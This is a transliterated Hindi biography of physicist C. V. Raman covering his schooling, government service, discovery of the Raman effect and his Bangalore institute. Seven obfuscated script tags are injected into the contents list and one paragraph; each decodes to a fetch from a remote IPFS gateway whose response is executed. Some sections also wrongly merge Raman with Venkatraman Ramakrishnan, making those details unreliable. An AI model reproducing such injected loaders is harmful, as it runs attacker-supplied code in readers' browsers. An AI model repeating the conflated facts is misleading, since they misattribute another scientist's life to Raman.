चंद्रशेखर वेंकट रामन

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si.vi. raman vishay soochi

shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shodh kary   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raman prabhav   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vyaktitv   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> samman evan puraskar   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lekhan sangrah   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nidhan

chandrashekhar veankat raman
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poora nam	chandrashekhar veankat raman
any nam	si.vi. raman
janm	7 navambar, 1888
janm bhoomi	tiruchirapalli, tamilanadu
mrityu	21 navambar, 1970
mrityu sthan	beangळooroo
abhibhavak	chandrashekhar ayyar, parvati ammal
pati/patni	trilokasuandari
karm bhoomi	bharat, briten
karm-kshetr	vijnan
vishay	bhautiki
khoj	raman prabhav
shiksha	em. e.
vidyalay	presideansi k aaulej
puraskar-upadhi	'bharat ratn', 'nobel puraskar', 'lenin puraskar'
nagarikata	bharatiy

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chandrashekhar veankat raman (aangrezi: Chandrasekhara Venkata Raman, janm: 7 navambar, 1888; mrityu: 21 navambar, 1970) pahale vyakti the, jinhoanne vaijnanik sansar mean bharat ko khyati dilaee. prachin bharat mean vijnan ki upalabdhiyaan thian, jaise- shoony aur dashamalav pranali ki khoj, prithvi ke apani dhuri par ghoomane ke bare mean tatha ayurved ke faramoole ityadi. magar poornaroop se vijnan ke prayogatmak kon mean koee vishesh pragati nahian huee thi. raman ne us khoye raste ki khoj ki aur niyamoan ka pratipadan kiya jinase svatantr bharat ke vikas aur pragati ka rasta khul gaya. raman ne svadhin bharat mean vijnan ke adhyayan aur shodh ko jo protsahan diya usaka anuman kar pana kathin hai.

parichay

chandrashekhar veankat raman ka janm tamilanadu ke tiruchirapalli shahar mean 7 navambar 1888 ko hua tha, jo ki kaveri nadi ke kinare sthit hai. inake pita chandrashekhar ayyar ek skool mean padhate the. vah bhautiki aur ganit ke vidvanh aur sangit premi the. chandrashekhar veankat raman ki maan parvati ammal thian. unake pita vahaan k aaulej mean adhyapan ka kary karate the aur vetan tha matr das rupaya. unake pita ko padhane ka bahut shauq tha. isalie unhoanne apane ghar mean hi ek chhoti-si laibreri bana rakha thi. raman ka vijnan aur aangrezi sahity ki pustakoan se parichay bahut chhoti umr se hi ho gaya tha. sangit ke prati unaka lagav aur prem bhi chhoti ayu se arambh hua aur age chalakar unaki vaijnanik khojoan ka vishay bana. vah apane pita ko ghantoan vina bajate hue dekhate rahate the. jab unake pita tiruchirapalli se vishakhapattanam mean akar bas gaye to unaka skool samudr ke tat par tha. unhean apani kaksha ki khi daki se samudr ki agadh nili jalarashi dikhaee deti thi. is drishy ne is chhote se l dake ki kalpana ko sammohit kar liya. bad mean samudr ka yahi nilapan unaki vaijnanik khoj ka vishay bana.

• chhoti-si ayu se hi vah bhautik vijnan ki or akarshit the.
• ek bar unhoanne vishesh upakaranoan ke bina hi ek dayanamoan bana dala.
• ek bar bimar hone par bhi vah tab tak nahian mane the jab tak ki pita ne 'lidan jar' ke kary ka pradarshan karake nahian dikhaya.
• raman apani kaksha ke bahut hi pratibhashali vidyarthi the.
• unhean samay-samay par puraskar aur chhatravrittiyaan milati rahian.
• adhyapak bar-bar unaki aangrezi bhasha ki samajh, svatantrapriyata aur dridh charitr ki prashansa karate the.
• keval gyarah varsh ki umr mean vah dasavian ki pariksha mean pratham aye.
• madras ke presideansi k aaulej mean pahale din ki kaksha mean yooropiyan pradhyapak ne nanhean raman ko dekhakar kaha ki vah galati se unaki kaksha mean a gaye haian.

shiksha

raman sangit, sanskrit aur vijnan ke vatavaran mean b de hue. vah har kaksha mean pratham ate the. raman ne 'presideansi k aaulej' mean bi. e. mean pravesh liya. 1905 mean pratham shreni mean uttirn hone vale vah akele chhatr the aur unhean us varsh ka 'svarn padak' bhi prapt hua. unhoanne 'presideansi k aaulej' se hi em. e. mean pravesh liya aur mukhy vishay ke roop mean bhautik shastr ko liya. em. e. karate hue raman kaksha mean yada-kada hi jate the. profesar ar. el. j aauns janate the ki yah l daka apani dekhabhal svayan kar sakata hai. isalie vah use svatantratapoorvak padhane dete the. amataur par raman k aaulej ki prayogashala mean kuchh prayog aur khojean karate rahate. vah profesar ka 'febari-pirat intaraferomitar' ka istemal karake prakash ki kiranoan ko napane ka prayas karate. [[chitr:Stamp CV Raman.jpg|thumb|left|samman mean jari dak tikat]] raman ki man:sthiti ka anuman profesar j aauns bhi nahian samajh pate the ki raman kis chiz ki khoj mean haian aur kya khoj huee hai. unhoanne raman ko salah di ki apane parinamoan ko shodh pepar ki shakl mean likhakar landan se prakashit hone vali 'fil aausafikal patrika' ko bhej dean. sanh 1906 mean patrika ke navambar aank mean unaka pepar prakashit hua. vijnan ko diya raman ka yah pahala yogadan tha. us samay vah keval 18 varsh ke the.
vijnan ke prati prem, kary ke prati utsah aur nee chizoan ko sikhane ka utsah unake svabhav mean tha. inaki pratibha se inake adhyapak tak abhibhoot the. shri raman ke b de bhaee 'bharatiy lekha seva' (IAAS) mean karyarat the. raman bhi isi vibhag mean kam karana chahate the isaliye ve pratiyogi pariksha mean sammilit hue. is pariksha se ek din pahale em. e. ka parinam ghoshit hua jisamean unhoanne 'madras vishvavidyalay' ke itihas mean sarvadhik aank arjit kie aur IAAS ki pariksha mean bhi pratham sthan prapt kiya. 6 mee, 1907 ko krishnasvami ayyar ki suputri 'trilokasuandari' se raman ka vivah hua.

shodh kary

kuchh dinoan ke bad raman ne ek aur shodh pepar likha aur landan mean vijnan ki antarrashtriy khyati prapt patrika 'nechar' ko bheja. us samay tak vaijnanik vishayoan par svatantratapoorvak khoj karane ka atmavishvas unamean vikasit ho chuka tha. raman ne us samay ke ek sammanit aur prasiddh vaijnanik l aaurd rele ko ek patr likha. is patr mean unhoanne l aaurd rele se apani vaijnanik khojoan ke bare mean kuchh saval poochhe the. l aaurd rele ne un savaloan ka uttar unhean profesar sambodhit karake diya. vah yah kalpana bhi nahian kar sakate the ki ek bharatiy kishor in sab vaijnanik khojoan ka nirdeshan kar raha hai.

chitr:Blockquote-open.gif "jab nobel purash‍kar ki ghoshana ki gee thi to maian ne ise apani vh‍yaktigat vijay mana, mere lie aur mere sahayogiyoan ke lie ek upalabdhi - ek ath‍yant asadharan khoj ko manh‍yata di gee hai, us lakshh‍y tak pahuanchane ke lie jisake lie maianne sat varshoan se kam kiya hai. lekin jab maianne dekha ki us khachakhach h aaul maianne ird-gird pashchimi cheharoan ka samudr dekha aur maian, keval ek hi bharatiy, apani pag di aur banh‍d gale ke kot mean tha, to mujhe laga ki maian vash‍tav mean apane logoan aur apane desh ka pratinidhith‍v kar raha hooan. jab kiang gush‍tav ne mujhe purash‍kar diya to maianne apane apako vash‍tav mean vinamr mahasoos kiya, yah bhavapravan pal tha lekin maian apane oopar niyantran rakhane mean saphal raha. jab maian ghoom gaya aur maianne oopar british yooniyan jaik dekha jisake niche maian baitha raha tha aur tab maianne mahasoos kiya ki mere garib desh, bharat, ka apana dhvaj bhi nahian hai." - si.vi. raman chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raman ki pratibha advitiy thi. adhyapakoan ne raman ke pita ko salah di ki vah raman ko uchch shiksha ke lie ianglaiand bheanj dean. yadi ek british medikal afasar ne badha n dali hoti to raman bhi any pratibhashali vyaktiyoan ki tarah desh ke lie kho jate. d aauktar ka kahana tha ki svasthy nazuk hai aur vah ianglaiand ki sakht jalavayu ko sahan nahian kar payeange. raman ke pas ab koee any rasta nahian tha. vah british sarakar dvara ayojit pratiyogi pariksha mean baithe. isamean uttirn hone se naukari milati thi. isamean pas hone par vah sarakar ke vittiy vibhag mean afasar niyukt ho gaye. raman yah sarakari naukari karane lage. isamean unhean achchha vetan aur rahane ko bangala mila.

vijnan ki unhean dhun thi. unhoanne ghar mean hi ek chhoti-si prayogashala banaee. jo kuchh bhi unhean dilachasp lagata usake vaijnanik tathyoan ki khoj mean vah lag jate. raman ki khojoan mean unaki yuva patni bhi apana sahayog deanti aur unhean doosare kamoan se door rakhatian. vah yah vishvas karati thian ki vah raman ki seva ke liye hi paida hueean haian. raman ko mahanh banane mean unaki patni ka bhi b da hath hai.

sarakari naukari

raman kolakata mean sahayak mahalekhapal ke pad par niyukt the, kiantu raman ka man bahut hi ashaant tha kyoanki vah vijnan mean anusandhan kary karana chahate the. ek din daftar se ghar lautate samay unhean 'indiyan esosieshan ph aaur kaltiveshan aauph saians' ka bord dikha aur agale hi pal vo parishad ke aandar ja pahuanche. us samay vahaan parishad ki baithak chal rahi thi. baithak mean ashutosh mukharji jaise vidvanh upasthit the. yah parishad vijnan ki agragami sanstha thi. isake sansthapak the d aauktar mahendralal sarakar. unhoanne sanh 1876 mean desh mean vaijnanik khojoan ke vikas ke lie isaki sthapana ki thi. kee karanoan se is imarat ka vastavik upayog keval vaijnanikoan ke milane ya vijnan par bhashan adi ke lie hota tha. sanstha ki prayogashala aur upakaranoan par p de-p de dhool jama ho rahi thi. jab raman ne prayogashala mean prayog karane chahe to sari samagri aur upakaran unake supurd kar diye gaye. is tarah parishad mean unake vaijnanik prayog shuroo hue aur unhoanne vah khoj ki jisase unhean 'nobel puraskar' mila.

raman subah sadhe paanch baje parishad ki prayogashala mean pahuanch jate aur paune das baje akar aauphis ke lie taiyar ho jate. aauphis ke bad sham paanch baje phir prayogashala pahuanch jate aur rat das baje tak vahaan kam karate. yahaan tak ki ravivar ko bhi sara din vah prayogashala mean apane prayogoan mean hi vyast rahate. varshoan tak unaki yahi dinacharya bani rahi. us samay raman ka anusandhan sangit-vadyoan tak hi simit tha. unaki khoj ka vishay tha ki vina, v aauyalin, mridang aur tabale jaise vadyoan mean se madhur svar kyoan nikalata hai. apane anusandhan mean raman ne parishad ke ek sadharan sadasy ashutosh de ki bhi sahayata li. unhoanne de ko vaijnanik anusandhan ke tarikoan mean itana parangat kar diya tha ki de apani khojoan ka parinam svayan likhane lage jo bad mean prasiddh vijnan patrikaoan mean prakashit hue. raman ka un vyaktiyoan mean vishvas tha jo sikhana chahate the bajay un ke jo keval prashikshit ya shikshit the. vastav mean jaldi hi unhoanne yuva vaijnanikoan ka ek aisa dal taiyar kar liya jo unake prayogoan mean sahayata karata tha. vah parishad ke h aaul mean vijnan ko lokapriy banane ke lie bhashan bhi dene lage, jisase yuva logoan ko vijnan mean hue naye vikasoan se parichit kara sakean. vah desh mean vijnan ke pravakta ban gaye. raman ki vijnan mean lagan aur kary ko dekhakar kalakatta vishvavidyalay ke upakulapati ashutosh mukharji jo 'bagal ke bagh' kahalate the, bahut prabhavit hue. unhoanne british sarakar se anurodh kiya ki raman ko do varshoan ke lie unake kam se chhutti de di jae jisase vah poori tanmayata aur dhyan se apana vaijnanik kary kar sakean. lekin sarakar ne is prastav ko asvikar kar diya. isi dauran parishad mean bhautik shastr mean 'tarakanath palit cheyar' ki sthapana huee. cheyar ek khyati prapt vaijnanik ko milane vali thi, magar mukharji utsuk the ki cheyar raman ko mile. cheyar ke lie lagaee gee shartoan mean raman ek shart poori nahian karate the ki unhoanne videsh mean kam nahian kiya tha. mukharji ne raman ko bahar jane ke lie kaha magar unhoanne saf inkar kar diya. unhoanne mukharji se vinati ki ki yadi unaki seva ki avashyakata hai to is shart ko hata diya jaye. antatah mukharji sahab ne aisa hi kiya. raman ne sarakari naukari chho d di aur sanh 1917 mean esosieshan ke aantargat bhautik shastr mean palit cheyar svikar kar li. isaka parinam- dhan aur shakti ki kami, lekin raman vijnan ke lie sab kuchh balidan karane ko taiyar the. mukharji sahab ne raman ke balidan ki prashansa karate hue kaha,-

"is udaharan se mera utsah badhata hai aur asha dridh hoti hai ki 'jnan ke mandir' jise banane ki hamari abhilasha hai, mean saty ki khoj karane valoan ki kami nahian hogi." isake pashchath raman apana poora samay vijnan ko dene lage.

kuchh dinoan ke pashchath raman ka tabadala barma (ab myaanmar) ke rangoon (ab yaangoon) shahar mean ho gaya. rangoon mean shri raman man nahian lagata tha kyoanki ‌vahaan prayog aur anusandhan karane ki suvidha nahian thi. isi samay raman ke pita ki mrityu ho gee. raman chhah mahinoan ki chhutti lekar madras a ge. chhuttiyaan poori hueean to raman ka tabadala nagapur ho gaya.

kolakata ke lie sthanaantaran

san 1911 ee. mean shri raman ko 'ekauanteant jaranal' ke pad par niyukt karake punah kalakatta bhej diya gaya. isase raman b de prasann the kyoanki unhean parishad ki prayogashala mean punah anusandhan karane ka avasar mil gaya tha. agale sat varshoan tak raman is prayogashala mean shodhakary karate rahe. sar tarak nath palit, d aau. rasabihari ghosh aur sar ashutosh mukharji ke prayatnoan se kolakata mean ek saians k aaulej khola gaya. raman ki vijnan ke prati samarpan ki bhavana is bat se lagata hai ki unhoanne apani sarakari naukari chho dakar kam vetan vale pradhyapak pad par ana pasand kiya. sanh 1917 mean raman kalakatta vishvavidyalay mean bhautik vijnan ke pradhyapak niyukt hue. bharatiy sanskriti se raman ka hamesha hi lagav raha. unhoanne apani bharatiy pahachan ko hamesha banae rakha. ve desh mean vaijnanik drishti aur chiantan ke vikas ke prati samarpit the.

vishvavidyalayoan ka sammelan

san 1917 mean landan mean british rashtramandal ke vishvavidyalayoan ka sammelan tha. raman ne us sammelan mean kalakatta vishvavidyalay ka pratinidhitv kiya. yah raman ki pahali videsh yatra thi.

videsh mean shri raman

veankataraman briten ke pratishthit kaimbrij yoonivarsiti ki 'em. ar. si. leboretriz aauf myalookular bayoloji' ke strakacharal stadiz vibhag ke pramukh vaijnanik the. san 1921 mean aauksaphord, ianglaiand mean ho rahi yoonivarsatij kaangres ke lie raman ko nimantran mila. unake jivan mean isase ek naya mo d aya. samanyatah samudri yatra ukata dene vali hoti hai kyoanki niche samudr aur oopar akash ke sivay kuchh dikhaee nahian deta hai. lekin raman ke lie akash aur sagar vaijnanik dilachaspi ki chizean thian. bhoomadhy sagar ke nilepan ne raman ko bahut akarshit kiya. vah sochane lage ki sagar aur akash ka rang aisa nila kyoan hai. nilepan ka kya karan hai. [[chitr:Raman-Research-Institute-Bangalore.jpg|raman shodh sansthan, bangalaur
Raman Research Institute, Bangalore|thumb|250px]] raman janate the l aaurd rele ne akash ke nilepan ka karan hava mean paye jane vale naitrojan aur aauksijan ke anuoan dvara soory ke prakash ki kiranoan ka chhitarana mana hai. l aaurd rele ne yah kaha tha ki sagar ka nilapan matr akash ka pratibimb hai. lekin bhoomadhy sagar ke nilepan ko dekhakar unhean l aaurd rele ke spashtikaran se santosh nahian hua. jahaz ke dek par kh de-kh de hi unhoanne is nilepan ke karan ki khoj ka nishchay kiya. vah lapak kar niche gaye aur ek upakaran lekar dek par aye, jisase vah yah parikshan kar sakean ki samudr ka nilapan pratibimb prakash hai ya kuchh aur. unhoanne paya ki samudr ka nilapan usake bhitar se hi tha. prasann hokar unhoanne is vishay par kalakatte ki prayogashala mean khoj karane ka nishchay kiya.

jab bhi raman koee prakritik ghatana dekhate to vah sada saval karate—aisa kyoan hai. yahi ek sachcha vaijnanik hone ki visheshata aur praman hai. landan mean sthan aur chizoan ko dekhate hue raman ne vispariang gailari mean chhote-chhote prayog kiye.

kalakatta lautane par unhoanne samudri pani ke anuoan dvara prakash chhitarane ke karan ka aur phir tarah-tarah ke leans, drav aur gaisoan ka adhyayan kiya. prayogoan ke dauran unhean pata chala ki samudr ke nilepan ka karan soory ki roshani p dane par samudri pani ke anuoan dvara nile prakash ka chhitarana hai. soory ke prakash ke baki rang mil jate haian.

is khoj ke karan sare vishv mean unaki prashansa huee. unhoanne vaijnanikoan ka ek dal taiyar kiya, jo aisi chizoan ka adhyayan karata tha. 'aauptikas' nam ke vijnan ke kshetr mean apane yogadan ke liye sanh 1924 mean raman ko landan ki 'r aauyal sosaiti' ka sadasy bana liya gaya. yah kisi bhi vaijnanik ke liye bahut samman ki bat thi. raman ke samman mean diye gaye bhoj mean ashutosh mukharji ne unase poochha,-

ab age kya?
turant uttar aya- ab nobel puraskar.

us bhoj mean upasthit logoan ko us samay yah shekhachilli ki shekhi hi lagi hogi kyoanki us samay british shasit bharat mean vijnan arambhik avastha mean hi tha. us samay koee kalpana bhi nahian kar sakata tha ki vijnan mean ek bharatiy itani jaldi nobel puraskar jitega. lekin raman ne yah bat poori gambhirata se kahi thi. mahattvakaanksha, sahas aur parishram unaka adarsh the. vah nobel puraskar jitane ke mahattvakaankshi the aur isaliye apane shodh mean tan-man-dhan lagane ko taiyar the. durbhagy se raman ke nobel puraskar jitane se pahale hi mukharji sahab chal base the.

ek bar jab raman apane chhatroan ke sath drav ke anuoan dvara prakash ko chhitarane ka adhyayan kar rahe the ki unhean 'raman iphekt' ka sanket mila. soory ke prakash ki ek kiran ko ek chhote se chhed se nikala gaya aur phir benjin jaise drav mean se guzarane diya gaya. doosare chhor se dayarekt vizan spektroskop dvara chhitare prakash—spektram ko dekha gaya. soory ka prakash ek chhote se chhed mean se a raha tha jo chhitari huee kiran rekha ya rekhaoan ki tarah dikhaee de raha tha. in rekhaoan ke atirikt raman aur unake chhatroan ne spektram mean kuchh asadharan rekhaean bhi dekhian. unaka vichar tha ki ye rekhaean drav ki ashuddhata ke karan thian. isalie unhoanne drav ko shuddh kiya aur phir se dekha, magar rekhaean phir bhi bani rahian. unhoanne yah prayog any dravoan ke sath bhi kiya to bhi rekhaean dikhaee deti rahian.

in rekhaoan ka anveshan kuchh varshoan tak chalata raha, isase kuchh vishesh parinam nahian nikala. raman sochate rahe ki ye rekhaean kya haian. ek bar unhoanne socha ki in rekhaoan ka karan prakash ki kaniy prakriti hai. ye adhunik bhautiki ke arambhik din the. tab yah ek naya siddhaant tha ki prakash ek lahar ki tarah bhi aur kan ki tarah bhi vyavahar karata hai. raman dak tikat
Raman Stamp|thumb

raman prabhav

bhautiki ka nobel puraskar sanh 1927 mean, amerika mean, shikago vishvavidyalay ke e. ech. k aaumpatan ko 'k aaumpatan iphekt' ki khoj ke liye mila. k aaumpatan iphekt mean jab eks-re ko kisi samagri se guzara gaya to eks-re mean kuchh vishesh rekhaean dekhi geean. (prakash ki tarah ki ek ilektromeganetik rediyeshan ki kism). k aaumpatan iphekt eks-re kaniy prakriti ke karan utpann hota hai. raman ko laga ki unake prayog mean bhi kuchh aisa hi ho raha hai.

prakash ki kiran kanoan (photons) ki dhara ki tarah vyavahar kar rahi thian. photons rasayan drav ke anuauan par vaise hi aghat karate the jaise ek kriket ka b aaul phutab aaul par karata hai. kriket ka b aaul phutab aaul se takarata to tezi se hai lekin vah phutab aaul ko tho da-sa hi hila pata hai. usake viparit kriket ka b aaul svayan doosari or kam shakti se uchhal jata hai aur apani kuchh oorja phutabal ke pas chho d jata hai. kuchh asadharan rekhaean deti haian kyoanki photons isi tarah kuchh apani oorja chho d dete haian aur chhitare prakash ke spektram mean kee binduoan par dikhaee dete haian. any photons apane raste se hat jate haian—n oorja lete haian aur n hi chho date haian aur isalie spektram mean apani samany sthiti mean dikhaee dete haian.

photons mean oorja ki kuchh kami aur isake parinam svaroop spektram mean kuchh asadharan rekhaean hona 'raman iphekt' kahalata hai. photons dvara khoee oorja ki matra us drav rasayan ke drav ke anu ke bare mean soochana deti hai jo unhean chhitarate haian. bhinn-bhinn prakar ke anu photons ke sath milakar vividh prakar ki parasparik kriya karate haian aur oorja ki matra mean bhi alag-alag kami hoti hai. jaise yadi kriket b aaul, golph b aaul ya phutab aaul ke sath takaraye. asadharan raman rekhaoan ke photons mean oorja ki kami ko map kar drav, thos aur gais ki aantarik anu rachana ka pata lagaya jata hai. is prakar padarth ki aantarik sanrachana ka pata lagane ke lie raman iphekt ek labhadayak upakaran pramanit ho sakata hai. raman aur unake chhatroan ne isi ke dvara kee kism ke aauptikal glas, bhinn-bhinn padarthoan ke kristal, moti, ratn, hire aur kvartaj, drav yaugik jaise bainjin, tolin, penaten aur kampresd gaisoan ka jaise karban dayaksaid, aur naitras aauksaid ityadi mean anu vyavastha ka pata lagaya.

raman apani khoj ki ghoshana karane se pahale bilkul nishchit hona chahate the. in asadharan rekhaoan ko adhik spasht taur se dekhane ke lie unhoanne soory ke prakash ke sthan par marakari vepar laimp ka istemal kiya. vastav mean is tarah rekhaean adhik spasht dikhaee dene lagian. ab vah apani nee khoj ke prati poornaroop se nishchiant the. yah ghatana 28 faravari sanh 1928 mean ghati. agale hi din vaijnanik raman ne isaki ghoshana videshi pres mean kar di. pratishthit patrika 'nechar' ne use prakashit kiya. raman ne 16 march ko apani khoj 'nee rediyeshan' ke oopar bangalaur mean sthit sauth iandiyan sains esosieshan mean bhashan diya. iphekt ki pratham pushti j aaun h aaupakins yoonivarsati, amerika ke ar. dablayoo. vud ne ki. ab vishv ki sabhi prayogashalaoan mean 'raman iphekt' par anveshan hone laga. yah ubharati adhunik bhautiki ke liye atirikt sahayata thi.

videsh yatra ke samay unake jivan mean ek mahattvapoorn ghatana ghatit huee. saral shabdoan mean pani ke jahaz se unhoanne bhoo-madhy sagar ke gahare nile pani ko dekha. is nile pani ko dekhakar shri raman ke man mean vichar aya ki yah nila rang pani ka hai ya nile akash ka sirf paravartan. bad mean raman ne is ghatana ko apani khoj dvara samajhaya ki yah nila rang n pani ka hai n hi akash ka. yah nila rang to pani tatha hava ke kanoan dvara prakash ke prakirnan se utpann hota hai kyoanki prakirnan ki ghatana mean soory ke prakash ke sabhi avayavi rang avashoshit kar oorja mean parivartit ho jate haian, parantu nile prakash ko vapas paravartit kar diya jata hai. sat sal ki k di mehanat ke bad raman ne is rahasy ke karanoan ko khoja tha. unaki yah khoj 'raman prabhav' ke nam se prasiddh hai.

rashtriy vijnan divas

[[chitr:National-Science-Day-2.jpg|thumb|rashtriy vijnan divas]]

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'raman prabhav' ki khoj 28 faravari 1928 ko huee thi. is mahanh khoj ki yad mean 28 faravari ka din ham 'rashtriy vijnan divas' ke roop mean manate haian. bharat mean 28 faravari ka din 'rashtriy vijnan divas' ke roop mean manaya jata hai. is din vaijnanik log bhashanoan dvara vijnan aur takaniki ki unnati aur vikas evan usaki upalabdhiyoan ke bare mean samany logoan v bachchoan ko batate haian. inhian vishayoan par filmean aur ti. vi. phichar dikhaye jate haian. is samay vijnan evan takaniki par pradarshaniyaan lagati haian aur samaroh hote haian jinamean vijnan aur takaniki mean yogadan ke liye inam aur evard diye jate haian. sanh 1928 mean isi din desh mean saste upakaranoan ka prayog karake vijnan ki ek mukhy khoj ki gee thi. tab poore vishv ko pata chala tha ki british dvara shasit aur pichh da hua bharat bhi adhunik vijnan ke kshetr mean apana maulik yogadan de sakata hai. yah khoj keval bharat ke vaijnanik itihas mean hi nahian balki vijnan ki pragati ke lie bhi ek mil ka patthar pramanit huee. isi khoj ke lie isake khojakarta ko 'nobal puraskar' mila.

rashtriy vijnan divas us mahanh ghatana ki yad dilata hai. sab bharatiyoan ko is par garv hai. ve ise sneh aur prashansa ki drishti se dekhate haian. is mahattvapoorn khoj ko aj 'raman iphekt' ke nam se jana jata hai. isake khojakarta shri si.vi.raman the. unhoanne yah khoj kalakatta ki 'iandiyan esosieshan ph aaur di kaltiveshan aauph sains' ki prayogashala mean ki. inhian ke karan poore vishv mean bharat ka vijnan ke kshetr mean nam hua. khoj ke 60 varsh ke pashchath 'raman iphekt' sansar ki adhunik prayogashalaoan mean thos, drav aur gaisoan ke adhyayan ke lie ek parishkrit upakaran ki tarah upayog kiya ja raha hai.

vyaktitv

shri veankataraman ke vishay mean khas bat hai ki ve bahut hi sadharan aur saral tariqe se rahate the. vah prakriti premi bhi the. ve aksar apane ghar se aauphis saikil se aya jaya karate the. ve dostoan ke bich 'vaianki' nam se prasiddh the. unake mata-pita donoan vaijnanik rahe haian. ek sakshatkar mean veankataraman ke pita shri 'si. vi. ramkrishnan' ne bataya ki 'nobel puraskar samiti' ke sachiv ne landan mean jab veankataraman ko fon kar nobel puraskar dene ki bat kahi to pahale to unhean yakin hi nahian hua. veankat ne unase kaha ki 'kya ap mujhe moorkh bana rahe haian?' kyoanki nobel puraskar milane se pahale aksar veankataraman ke mitr fon kar unhean nobel milane ki jhoothi khabar dekar chidhaya karate the.'

svapnadrashta raman

raman ne kee varshoan tak ekantavas kiya. lekin vah sada sakriy rahe. unhean bachchoan ka sath bahut bhata tha. vah aksar apane ianstityoot mean skool ke bachchoan ka amantrit karate aur ghantoan unhean ianstityoot aur vahaan ki chizean dikhate rahate. vah b di dilachaspi se unhean apane prayog aur upakaranoan ke bare mean samajhate. vah svayan skooloan mean jakar vijnan par bhashan dete. vah bachchoan ko batate ki vijnan hamare charoan or hai aur hamean usaka pata lagana hai. vijnan keval prayogashala tak simit nahian hai. vah bachchoan ko kahate the ki taroan, phooloan aur asapas ghatati ghatanaoan ko dekhoan aur unake bare mean saval poochho. apani buddhi aur vijnan ki sahayata se uttaroan ki khoj karo.

aj ke kee khyati prapt vaijnanikoan ne raman ki batean aur bhashan sunakar hi vijnan ko apana vishay chuna tha. vah anevali nee subah ke agradoot the. chandrashekhar veankat raman ne apane jivan kal mean hi raman iphekt ke lie phir se adhunik prayogashalaoan mean ruchi utpann hoti dekhi. isaka shrey sanh 1960 mean lejar ki khoj ko jata hai—ek sansakt aur shaktishali prakash. pahale raman iphekt ki spasht tasavir ke lie kee din lag jate the. lejar se vahi parinam kuchh hi der mean mil jata hai. ab zyada se zyada kshetroan mean jaise rasayan udyog, pradooshan ki samasya, davaee udyog, prani shastr ke adhyayan mean chhoti matra mean paye jane vale rasayanoan ka pata lagane ke lie raman iphekt istemal ho raha hai. raman iphekt aj un chizoan ke bare mean soochana de raha hai jisake bare mean raman ne isaki khoj ke samay kabhi socha bhi nahian tha.

svatantr sansthan ki sthapana

san 1933 mean d aau. raman ko bangaluru mean sthapit 'iandiyan ianstityoot aauph saiansez' ke sanchalan ka bhar sauanpa gaya. vahaan unhoanne 1948 tak kary kiya. bad mean d aau.raman ne beangaloor mean apane lie ek svatantr sansthan ki sthapana ki. isake lie unhoanne koee bhi sarakari sahayata nahian li. unhoanne baiangalor mean ek atyant unnat prayogashala aur shodh-sansthan ‘raman risarch ianstityoot’ ki sthapana ki. raman vaijnanik chetana aur drishti ki sakshat pratimoortti the. unhoanne hamesha prakritik ghatanaoan ki chhanabin vaijnanik drishti se karane ka sandesh diya. d aau.raman apane sansthan mean jivan ke aantim dinoan tak shodhakary karate rahe.

risarch ianstityoot

san 1948 mean raman ka bangalaur mean apana ianstityoot banane ka sapana sakar ho gaya. ise raman risarch ianstityoot kahate haian. unhoanne apani bachat ka dhan ikattha kiya, dan maanga, kuchh udyog arambh kie jisase ianstityoot ko chalane ke lie niyamit roop se dhan milata rahe.

ianstityoot ki rachana mean raman ki suruchi jhalakati hai. sanstha ke charoan or buganabila, jakarandaj aur gulab ke phooloan ke atirikt yooklipatas se lekar mahogani ke pe doan ki bharamar hai. vatavaran ek udyan jaisa hai. thumb|d aau. si.vi. raman yahaan par raman apani pasand ke vishayoan par shodh aur khojabin karate the. kuchh bhi jo chamakata hai unake anusandhan ka vishay ban jata tha. unhoanne 300 hire kharide. hire ko thos ka raja kahate haian. unhoanne unaki aantarik sanrachana aur bhautik gunoan ka adhyayan kiya. pakshi ke pankh, titaliyaan, bital aur phooloan ki pattiyoan tak ne unhean akarshit kiya. unhoanne yah anveshan kiya ki ye sab itane rang-birange kyoan haian. is adhyayan ke parinamoan se unhoanne vizan aur kalar ka siddhaant pratipadan kiya jo unhoanne apani pustak 'd phiziyol aauji aph vizan' mean likha hai. is vishay ne abhi-abhi vaijnanikoan ka dhyan phir apani or akarshit kiya. raman ye janate the ki pashchimi deshoan mean ho rahe adhyayan se bhinn vishay, adhyayan aur shodh ke liye kaise khojean jayean.

